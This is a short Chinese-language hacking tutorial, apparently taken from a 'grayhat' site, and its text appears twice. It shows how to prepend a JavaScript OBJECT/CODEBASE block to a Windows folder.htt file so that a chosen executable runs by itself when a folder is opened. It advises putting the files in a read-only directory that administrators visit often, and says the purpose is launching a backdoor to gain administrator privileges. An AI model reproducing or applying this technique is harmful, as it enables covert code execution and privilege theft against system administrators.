用DESKTOP.INI和folder.htt来自动运行程序

来源:http://grayhat.512j.com/

把c:winnt目录中的desktop.ini 和folder.htt（注意：每种不同目录下的desktop.ini和folder.htt文件都是不同的，所以一定要是winnt目录下的。）复制出来，用记事本打开folder.htt文件把下面的代码加在最前面：
<script language="javascript">
run_exe="<OBJECT ID="RUNIT" !
WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject""
run_exe+="CODEBASE="程序名.exe#version=1,1,1,1">"
run_exe+="<PARAM NAME="_Version" value="65536">"
run_exe+="</OBJECT>"
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
把其中的“程序名.exe”改为你想要启动的程序名称。
现在我们只要把desktop.ini、folder.htt和要启动的程序，放在同一个只读目录（记住一定要是只读目录，而且最好是管理员经常进去的）下，当管理员打开这个目录，程序就会自动得到运行。

这种方法可以用于通过启动后门程序得到管理员权限。

把c:winnt目录中的desktop.ini 和folder.htt（注意：每种不同目录下的desktop.ini和folder.htt文件都是不同的，所以一定要是winnt目录下的。）复制出来，用记事本打开folder.htt文件把下面的代码加在最前面：
<script language="javascript">
run_exe="<OBJECT ID="RUNIT" !
WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject""
run_exe+="CODEBASE="程序名.exe#version=1,1,1,1">"
run_exe+="<PARAM NAME="_Version" value="65536">"
run_exe+="</OBJECT>"
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
把其中的“程序名.exe”改为你想要启动的程序名称。
现在我们只要把desktop.ini、folder.htt和要启动的程序，放在同一个只读目录（记住一定要是只读目录，而且最好是管理员经常进去的）下，当管理员打开这个目录，程序就会自动得到运行。

这种方法可以用于通过启动后门程序得到管理员权限。